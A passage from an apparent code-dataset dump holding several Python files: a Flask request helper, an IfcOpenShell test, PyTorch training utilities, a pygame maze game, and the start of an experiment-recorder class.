"line_number": 53, "usage_type": "call"}]} {"seq_id": "26917691343", "text": "import os\nimport requests\nimport re\nimport yaml\nimport json\nimport time\nimport random\nimport uuid\n\n\n\ndef is_file(path):\n return os.path.isfile(path)\n\n\ndef load_config_yaml(path='config/config.yaml', mode='WAI', err=True):\n if not is_file(path):\n if err:\n raise Exception(f'{path}文件不存在')\n return {}\n return yaml.safe_load(open(path, 'r', encoding='utf-8')).get(mode)\n\n\ndef load_json(path='config/config.json'):\n if is_file(path):\n raise Exception(f'{path}文件不存在')\n return json.load(open(path, 'r'))\n\n\ndef get_ran_str(s_len: int, luan=False):\n \"\"\"\n 返回任意长度的随机字符串\n args:\n s_len: 随机字符串的长度\n luan: 乱数, 默认为False\n \"\"\"\n s = 'abcdefghijklmnopqrstuvwxyz1234567890'\n if luan:\n s = 'abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+-=1234567890'\n return ''.join(random.sample(s, s_len))\n\n\nclass MyRes():\n '''\n 封装一个获取结果的类\n 仔细想想， 可以把cookies保存到一个对象中，到时候获取和调用都很方便了\n '''\n\n def __init__(self, config: dict, headers={}, cookies={}, coding='gb2312') -> None:\n self.config = config\n self.headers = headers\n self.cookies = cookies\n self.coding = coding\n self.xueqi = '0'\n self.xh = ''\n self.pwd = ''\n self.name = ''\n self.url = ''\n\n def get_res(self, url, re_text=None, params={}):\n '''\n 封装requests.get方法\n args:\n url: 访问地址\n re_text: 可选，提供正则，自动匹配\n headers: 可选，自己提供一个headers\n\n return: res1, re后的东西\n 返回res1，想要什么就拿什么\n '''\n url = self.config['JWJC_URL'] + url\n res1 = requests.get(url, cookies=self.cookies, params=params)\n res1.encoding = self.coding\n self.cookies.update(res1.cookies.get_dict())\n self.url = url\n self.headers = res1.headers\n self.headers['Referer'] = url\n self.text = res1.text\n self.res1 = res1\n if re_text:\n re_hou = re.findall(re_text, res1.text)\n return res1, re_hou\n return res1, None\n\n def post_res(self, url, data, re_text=None):\n '''\n 封装requests.post方法\n '''\n url = self.config['JWJC_URL'] + url\n res1 = requests.post(\n url, data=data, cookies=self.cookies) # 这里加上header就有问题\n res1.url = self.url\n res1.encoding = self.coding\n self.cookies.update(res1.cookies.get_dict())\n # self.headers = res1.headers\n self.headers['Referer'] = url\n self.res1 = res1\n if re_text:\n re_hou = re.findall(re_text, res1.text)\n return res1, re_hou\n return res1, None\n\n\ndef get_files(path):\n \"\"\"\n 将目录下的所有非y_的文件名，返回一个列表，通过文件的创建时间排序\n \"\"\"\n if not os.path.isdir(path):\n os.system(f\"mkdir -p {path}\")\n files_path = os.listdir(path)\n files = [file for file in files_path if not file.startswith('y_')]\n files_dates = [os.path.getmtime(os.path.join(path, file))\n for file in files]\n t_files = list(\n zip(\n [time.strftime(\"%Y-%m-%d %X\", time.localtime(files_date))\n for files_date in files_dates],\n files,\n files_dates,\n )\n )\n t_files.sort(key=lambda x: x[2], reverse=True)\n return t_files\n", "repo_name": "pscly/myend", "sub_path": "flask_s/utils/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 3570, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 72, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 81, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 90, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 109, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.getmtime", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 116, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 116, "usage_type": "call"}]} {"seq_id": "23927481963", "text": "import pytest\nimport test.bootstrap\nimport ifcopenshell.api\nimport ifcopenshell.util.brick as subject\n\n\nclass TestGetBrickTypeIFC4(test.bootstrap.IFC4):\n def test_run(self):\n element = self.file.createIfcAirTerminalBox()\n assert subject.get_brick_type(element) == \"https://brickschema.org/schema/Brick#TerminalUnit\"\n element.PredefinedType = \"CONSTANTFLOW\"\n assert subject.get_brick_type(element) == \"https://brickschema.org/schema/Brick#CAV\"\n element = self.file.createIfcEngine()\n assert subject.get_brick_type(element) == \"https://brickschema.org/schema/Brick#Equipment\"\n\n\nclass TestGetBrickTypeIFC2X3(test.bootstrap.IFC2X3):\n def test_run(self):\n element = ifcopenshell.api.run(\"root.create_entity\", self.file, ifc_class=\"IfcFlowController\")\n type_element = ifcopenshell.api.run(\"root.create_entity\", self.file, ifc_class=\"IfcAirTerminalBoxType\")\n ifcopenshell.api.run(\"type.assign_type\", self.file, related_object=element, relating_type=type_element)\n assert subject.get_brick_type(element) == \"https://brickschema.org/schema/Brick#TerminalUnit\"\n", "repo_name": "IfcOpenShell/IfcOpenShell", "sub_path": "src/ifcopenshell-python/test/util/test_brick.py", "file_name": "test_brick.py", "file_ext": "py", "file_size_in_byte": 1127, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1412, "dataset": "github-code", "pt": "71", "api": [{"api_name": "test.bootstrap.bootstrap", "line_number": 7, "usage_type": "attribute"}, {"api_name": "test.bootstrap", "line_number": 7, "usage_type": "name"}, {"api_name": "ifcopenshell.util.brick.get_brick_type", "line_number": 10, "usage_type": "call"}, {"api_name": "ifcopenshell.util.brick", "line_number": 10, "usage_type": "name"}, {"api_name": "ifcopenshell.util.brick.get_brick_type", "line_number": 12, "usage_type": "call"}, {"api_name": "ifcopenshell.util.brick", "line_number": 12, "usage_type": "name"}, {"api_name": "ifcopenshell.util.brick.get_brick_type", "line_number": 14, "usage_type": "call"}, {"api_name": "ifcopenshell.util.brick", "line_number": 14, "usage_type": "name"}, {"api_name": "test.bootstrap.bootstrap", "line_number": 17, "usage_type": "attribute"}, {"api_name": "test.bootstrap", "line_number": 17, "usage_type": "name"}, {"api_name": "ifcopenshell.api.api.run", "line_number": 19, "usage_type": "call"}, {"api_name": "ifcopenshell.api.api", "line_number": 19, "usage_type": "attribute"}, {"api_name": "ifcopenshell.api", "line_number": 19, "usage_type": "name"}, {"api_name": "ifcopenshell.api.api.run", "line_number": 20, "usage_type": "call"}, {"api_name": "ifcopenshell.api.api", "line_number": 20, "usage_type": "attribute"}, {"api_name": "ifcopenshell.api", "line_number": 20, "usage_type": "name"}, {"api_name": "ifcopenshell.api.api.run", "line_number": 21, "usage_type": "call"}, {"api_name": "ifcopenshell.api.api", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ifcopenshell.api", "line_number": 21, "usage_type": "name"}, {"api_name": "ifcopenshell.util.brick.get_brick_type", "line_number": 22, "usage_type": "call"}, {"api_name": "ifcopenshell.util.brick", "line_number": 22, "usage_type": "name"}]} {"seq_id": "72763812711", "text": "\"\"\" General utilities. \"\"\"\n\nimport os\nimport shutil\nimport torch\nimport random\nimport torch.nn.init as init\nimport warnings\nimport torch.backends.cudnn as cudnn\n\n\ndef init_weights(m, init_type='normal', gain=0.02):\n \"\"\" Randomly initialize a module's weights.\n\n Args:\n m (nn.Module): The module to initialize its weights\n init_type (str): Initialization type: 'normal', 'xavier', 'kaiming', or 'orthogonal'\n gain (float): Standard deviation of the normal distribution\n \"\"\"\n classname = m.__class__.__name__\n if hasattr(m, 'weight') and (classname.find('Conv') != -1 or classname.find('Linear') != -1):\n if init_type == 'normal':\n init.normal_(m.weight.data, 0.0, gain)\n elif init_type == 'xavier':\n init.xavier_normal_(m.weight.data, gain=gain)\n elif init_type == 'kaiming':\n init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n elif init_type == 'orthogonal':\n init.orthogonal_(m.weight.data, gain=gain)\n else:\n raise NotImplementedError('initialization method [%s] is not implemented' % init_type)\n if hasattr(m, 'bias') and m.bias is not None:\n init.constant_(m.bias.data, 0.0)\n elif classname.find('BatchNorm2d') != -1:\n init.normal_(m.weight.data, 1.0, gain)\n init.constant_(m.bias.data, 0.0)\n\n\ndef save_checkpoint(exp_dir, base_name, state, is_best=False):\n \"\"\" Saves a model's checkpoint.\n\n Args:\n exp_dir (str): Experiment directory to save the checkpoint into.\n base_name (str): The output file name will be <base_name>_latest.pth and optionally <base_name>_best.pth\n state (dict): The model state to save.\n is_best (bool): If True, <base_name>_best.pth will be saved as well.\n \"\"\"\n filename = os.path.join(exp_dir, base_name + '_latest.pth')\n torch.save(state, filename)\n if is_best:\n shutil.copyfile(filename, os.path.join(exp_dir, base_name + '_best.pth'))\n\n\nclass ImagePool:\n \"\"\" Defines an image pool for improving GAN training.\n\n Given an image query, the images will be replaced with previous images with probability 0.5.\n\n Args:\n pool_size (int): The maximum number of images in the pool\n \"\"\"\n def __init__(self, pool_size=50):\n self.pool_size = pool_size\n if self.pool_size > 0:\n self.num_imgs = 0\n self.images = []\n\n def query(self, images):\n if self.pool_size == 0:\n return images\n return_images = []\n for image in images:\n image = torch.unsqueeze(image.data, 0)\n if self.num_imgs < self.pool_size:\n self.num_imgs = self.num_imgs + 1\n self.images.append(image)\n return_images.append(image)\n else:\n p = random.uniform(0, 1)\n if p > 0.5:\n random_id = random.randint(0, self.pool_size - 1) # randint is inclusive\n tmp = self.images[random_id].clone()\n self.images[random_id] = image\n return_images.append(tmp)\n else:\n return_images.append(image)\n return_images = torch.cat(return_images, 0)\n return return_images\n\n\ndef next_pow2(n):\n n += (n == 0)\n n -= 1\n n |= n >> 1\n n |= n >> 2\n n |= n >> 4\n n |= n >> 8\n n |= n >> 16\n n |= n >> 32\n n += 1\n return n\n\n\nmag_map = {'K': 3, 'M': 6, 'B': 9}\n\n\ndef str2int(s):\n \"\"\" Converts a string containing a number with 'K', 'M', or 'B' to an integer. \"\"\"\n if isinstance(s, (list, tuple)):\n return [str2int(o) for o in s]\n if not isinstance(s, str):\n return s\n return int(float(s[:-1]) * 10 ** mag_map[s[-1].upper()]) if s[-1].upper() in mag_map else int(s)\n\n\ndef set_seed(seed):\n \"\"\" Sets random seed for deterministic behaviour. \"\"\"\n if seed is not None:\n random.seed(seed)\n torch.manual_seed(seed)\n cudnn.deterministic = True\n warnings.warn('You have chosen to seed training. '\n 'This will turn on the CUDNN deterministic setting, '\n 'which can slow down your training considerably! '\n 'You may see unexpected behavior when restarting '\n 'from checkpoints.')\n\n\ndef set_device(gpus=None, use_cuda=None):\n \"\"\" Sets computing device. Either the CPU or any of the available GPUs.\n\n Args:\n gpus (list of int, optional): The GPU ids to use. If not specified, all available GPUs will be used\n use_cuda (bool, optional): If True, CUDA enabled GPUs will be used, else the CPU will be used\n\n Returns:\n torch.device: The selected computing device.\n \"\"\"\n use_cuda = torch.cuda.is_available() if use_cuda is None else use_cuda\n if use_cuda:\n gpus = list(range(torch.cuda.device_count())) if not gpus else gpus\n print('=> using GPU devices: {}'.format(', '.join(map(str, gpus))))\n else:\n gpus = None\n print('=> using CPU device')\n device = torch.device('cuda:{}'.format(gpus[0])) if gpus else torch.device('cpu')\n\n return device, gpus\n\n\ndef topk_accuracy(output, target, topk=(1,)):\n \"\"\" Computes the precision@k for the specified values of k. \"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n # pred = pred.t()\n pred = pred.view(batch_size, -1)\n target.view(-1, 1).expand_as(pred)\n\n # correct = pred.eq(target.view(1, -1).expand_as(pred))\n correct = pred.eq(target.view(-1, 1).expand_as(pred))\n\n res = []\n for k in topk:\n # correct_k = correct[:k].view(-1).float().sum(0)\n correct_k = correct[:, :k].view(-1).sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\nclass AverageMeter(object):\n \"\"\" Computes and stores the average and current value. \"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef main():\n import torch\n\n output = torch.rand(2, 10, 1, 1)\n target = torch.LongTensor(range(2))\n acc = topk_accuracy(output, target, topk=(1, 5))\n print(acc)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "doulujiyao/dafc", "sub_path": "utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.init.normal_", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.init.orthogonal_", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 49, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.unsqueeze", "line_number": 73, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 79, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 87, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.deterministic", "line_number": 121, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 121, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 139, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 194, "usage_type": "call"}]} {"seq_id": "6811399319", "text": "import pygame\nimport sys\nimport pygame.font\n# Adam.z et Rawad\n# Initialisation de Pygame\npygame.init()\n\n# Définition de la taille de la fenêtre\nlargeur, hauteur = 800, 600\nfenetre = pygame.display.set_mode((largeur, hauteur))\npygame.display.set_caption(\"Jeu du Labyrinthe\")\n\n# Définition des couleurs\nrouge = (255, 0, 0)\nnoir = (0, 0, 0)\nblanc = (255, 255, 255)\nbleu = (0, 0, 150)\n\n\n# Classe du joueur\nclass Joueur(pygame.sprite.Sprite):\n def __init__(self, x=560, y=410):\n super().__init__()\n self.image = pygame.Surface((25, 25))\n self.image.fill(rouge)\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.vitesse = 3\n\n\n\n# Classe du labyrinthe\nclass Labyrinthe:\n def __init__(self):\n self.grille = [\n \"XXXXXXXXXXXXXXVXXXX\",\n \"X X X\",\n \"X XXXXX XXXXXXX XXX\",\n \"X X O X XXXXX\",\n \"X X XXX XXXXX XXXXX\",\n \"X X X O P X\",\n \"X X XXXXXXX XXXXX\",\n \"X X X X\",\n \"X XXXXXXXXX XXXXX X\",\n \"X X\",\n \"XXXXXXXXXXXXXXDXXXX\",\n ]\n\n\n\n# Fonction pour afficher le labyrinthe\ndef afficher_labyrinthe(labyrinthe, fenetre):\n for ligne, row in enumerate(labyrinthe.grille):\n for col, case in enumerate(row):\n if case == \"X\":\n pygame.draw.rect(fenetre, bleu, (col * 40, ligne * 40, 40, 40))\n elif case == \" \":\n pygame.draw.rect(fenetre, blanc, (col * 40, ligne * 40, 40, 40))\n elif case == \"V\":\n pygame.draw.rect(fenetre, rouge, (col * 40, ligne * 40, 40, 40))\n elif case == \"O\":\n pygame.draw.rect(fenetre, bleu, (col * 40, ligne * 40, 40, 40))\n elif case == \"P\":\n pygame.draw.rect(fenetre, blanc, (col * 40, ligne * 40, 40, 40))\n\n\n\n# Fonction pour détecter la collision avec les murs\ndef collision_avec_murs(joueur_temp_rect, labyrinthe):\n for ligne, row in enumerate(labyrinthe.grille):\n for col, case in enumerate(row):\n if case == \"X\":\n mur_rect = pygame.Rect(col * 40, ligne * 40, 40, 40)\n if joueur_temp_rect.colliderect(mur_rect):\n return True\n return False\n\ndef collision_avec_piege(joueur_rect, labyrinthe):\n for ligne, row in enumerate(labyrinthe.grille):\n for col, case in enumerate(row):\n if case == \"P\":\n piege_rect = pygame.Rect(col * 40, ligne * 40, 40, 40)\n if joueur_rect.colliderect(piege_rect):\n return True\n return False\n\n\n# Fonction pour détecter la victoire\ndef victoire(joueur_rect, labyrinthe):\n for ligne, row in enumerate(labyrinthe.grille):\n for col, case in enumerate(row):\n if case == \"V\":\n victoire_rect = pygame.Rect(col * 40, ligne * 40, 40, 40)\n if joueur_rect.colliderect(victoire_rect):\n return True\n return False\n\n\n\n# Fonction pour afficher un message de victoire\ndef afficher_message_victoire(fenetre):\n font = pygame.font.Font(None, 36)\n text = font.render(\"Victoire !\", True, (230, 230, 230))\n fenetre.blit(text, (300, 250))\n\n\n# Fonction pour résoudre le labyrinthe\ndef resoudre_labyrinthe(labyrinthe, joueur_rect):\n def dfs(x, y):\n if x < 0 or x >= len(grid) or y < 0 or y >= len(grid[0]) or grid[x][y] == \"X\" or grid[x][y] == \"P\":\n return False\n if grid[x][y] == \"V\":\n return True\n grid[x][y] = \"P\" \n\n \n if dfs(x - 1, y) or dfs(x + 1, y) or dfs(x, y - 1) or dfs(x, y + 1):\n return True\n\n return False\n\n \n grid = [list(row) for row in labyrinthe.grille]\n\n x = joueur_rect.y // 40\n y = joueur_rect.x // 40\n\n if dfs(x, y):\n for i in range(len(labyrinthe.grille)):\n for j in range(len(labyrinthe.grille[i])):\n if grid[i][j] == \"P\":\n grid[i][j] = 'b'\n\n for i in range(len(labyrinthe.grille)):\n labyrinthe.grille[i] = \"\".join(grid[i])\n\n\n# Fonction pour afficher \"Perdu !\"\ndef afficher_message_perdu(fenetre):\n font = pygame.font.Font(None, 36)\n text = font.render(\"Perdu !\", True, (230, 0, 0)) # Couleur rouge pour \"Perdu !\"\n fenetre.blit(text, (300, 250))\n\n# Fonction principale du jeu\ndef main():\n labyrinthe = Labyrinthe()\n joueur = Joueur()\n victoire_affichee = False\n game_over_affiche = False\n victoire_timer = None\n game_over_timer = None\n\n clock = pygame.time.Clock()\n\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n touches = pygame.key.get_pressed()\n joueur_x, joueur_y = joueur.rect.x, joueur.rect.y\n\n if touches[pygame.K_LEFT]:\n joueur_x -= joueur.vitesse\n if touches[pygame.K_RIGHT]:\n joueur_x += joueur.vitesse\n if touches[pygame.K_UP]:\n joueur_y -= joueur.vitesse\n if touches[pygame.K_DOWN]:\n joueur_y += joueur.vitesse\n\n joueur_temp_rect = joueur.rect.copy()\n joueur_temp_rect.x = joueur_x\n joueur_temp_rect.y = joueur_y\n\n if collision_avec_piege(joueur_temp_rect, labyrinthe):\n # Le joueur a marché sur le piège, afficher \"Perdu !\" et redémarrer le jeu\n game_over_affiche = True\n game_over_timer = pygame.time.get_ticks()\n joueur.rect.x = 560\n joueur.rect.y = 410\n\n elif not collision_avec_murs(joueur_temp_rect, labyrinthe):\n joueur.rect = joueur_temp_rect\n else:\n # Le joueur a touché un mur, afficher \"Perdu !\" et redémarrer le jeu\n game_over_affiche = True\n game_over_timer = pygame.time.get_ticks()\n joueur.rect.x = 560\n joueur.rect.y = 410\n\n fenetre.fill((0, 0, 0))\n afficher_labyrinthe(labyrinthe, fenetre)\n fenetre.blit(joueur.image, joueur.rect)\n\n if victoire(joueur.rect, labyrinthe) and not victoire_affichee:\n victoire_affichee = True\n victoire_timer = pygame.time.get_ticks()\n\n if victoire_affichee:\n if pygame.time.get_ticks() - victoire_timer >= 1000:\n pygame.quit()\n sys.exit()\n else:\n afficher_message_victoire(fenetre)\n\n if game_over_affiche:\n if pygame.time.get_ticks() - game_over_timer >= 500:\n # Redémarrer le jeu après 1 seconde\n game_over_affiche = False\n joueur.rect.x = 560\n joueur.rect.y = 410\n # Afficher \"Perdu !\" pendant 1 seconde\n afficher_message_perdu(fenetre)\n pygame.display.flip()\n pygame.time.wait(1000) # Attendre 1 seconde\n\n if touches[pygame.K_h]:\n resoudre_labyrinthe(labyrinthe, joueur.rect)\n\n pygame.display.flip()\n clock.tick(60)\n\n\n\n# Fonction du menu principal\ndef menu():\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n fenetre.fill((0, 0, 0))\n font = pygame.font.Font(None, 36)\n\n title_text = font.render(\"Labyrinthe\", True, (255, 255, 255))\n fenetre.blit(title_text, (largeur/2 - title_text.get_width()/2, 50))\n\n jouer_text = font.render(\"Jouer\", True, (255, 255, 255))\n jouer_rect = jouer_text.get_rect(center=(largeur/2, 150))\n fenetre.blit(jouer_text, jouer_rect)\n\n quitter_text = font.render(\"Quitter\", True, (255, 0, 0))\n quitter_rect = quitter_text.get_rect(center=(largeur/2, 200))\n fenetre.blit(quitter_text, quitter_rect)\n\n mx, my = pygame.mouse.get_pos()\n\n if jouer_rect.collidepoint((mx, my)):\n if pygame.mouse.get_pressed()[0] == 1:\n main()\n\n if quitter_rect.collidepoint((mx, my)):\n if pygame.mouse.get_pressed()[0] == 1:\n pygame.quit()\n sys.exit()\n\n pygame.display.update()\n\n# Lance le code menu\nif __name__ == \"__main__\":\n menu()", "repo_name": "AdamZouhairii/jeu-du-lab", "sub_path": "jeux_du_labyrinthe.py", "file_name": "jeux_du_labyrinthe.py", "file_ext": "py", "file_size_in_byte": 8282, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 63, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 83, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 141, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 141, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 154, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 157, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 158, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 159, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 160, "usage_type": "call"}, {"api_name": "pygame.key.get_pressed", "line_number": 162, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 162, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 165, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 169, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 181, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 181, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 190, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 190, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 200, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pygame.time.get_ticks", "line_number": 203, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 204, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 205, "usage_type": "call"}, {"api_name": "pygame.time.get_ticks", "line_number": 210, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 217, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pygame.time.wait", "line_number": 218, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pygame.K_h", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 223, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 231, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 232, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 233, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 234, "usage_type": "call"}, {"api_name": "pygame.font.Font", "line_number": 237, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 237, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 250, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 253, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 253, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 257, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 257, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 258, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 259, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 261, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 261, "usage_type": "attribute"}]} {"seq_id": "72768372071", "text": "import datetime\nimport numpy as np\nimport pkg_resources\nimport pandas as pd\nfrom .base import BaseConnection, BaseReader\nfrom tensorflow.keras.callbacks import Callback\n\n\nclass ExperimentNamer:\n '''Class methods for naming experiments.'''\n \n def __init__(self):\n '''Get a list of experiment names.'''\n path = '/names.csv'\n filepath = pkg_resources.resource_filename(__name__, path)\n self.name_pool = list(pd.read_csv(filepath)['name'].values)\n \n \n def get_used_names(self, df):\n '''Get a list of all names in the field 'name' in a pandas dataframe.\n\n Parameters:\n -----------\n df (pd.DataFrame): dataframe where each row is an experiment\n\n '''\n\n # There are no previous experiment names\n if len(df) == 0:\n self.used_names = []\n else:\n self.used_names = list(df.experiment_name.values)\n\n \n def get_unused_names(self):\n '''\n Get a list a names from the name pool that aren't in the used names.\n '''\n \n self.unused_names = [name for name in self.name_pool if name not in self.used_names]\n \n # If all names are used, add a suffix to create an additional 1000 names\n if len(self.unused_names) == 0:\n for i in range(10):\n suffix = '_' + str(i)\n self.unused_names = [name + suffix for name in self.name_pool]\n\n\n def get_random_unused_name(self):\n ''' Draw a random name that isn't already used, and pop it from the list.'''\n \n rand_idx = np.random.choice(len(self.unused_names), 1)[0]\n random_name = self.unused_names.pop(rand_idx)\n return random_name\n \n \nclass ExperimentRecorder(ExperimentNamer, BaseReader, BaseConnection, Callback):\n '''Class methods for recording experiments in mongo.'''\n \n def __init__(self, config_path, experiment=None):\n \n 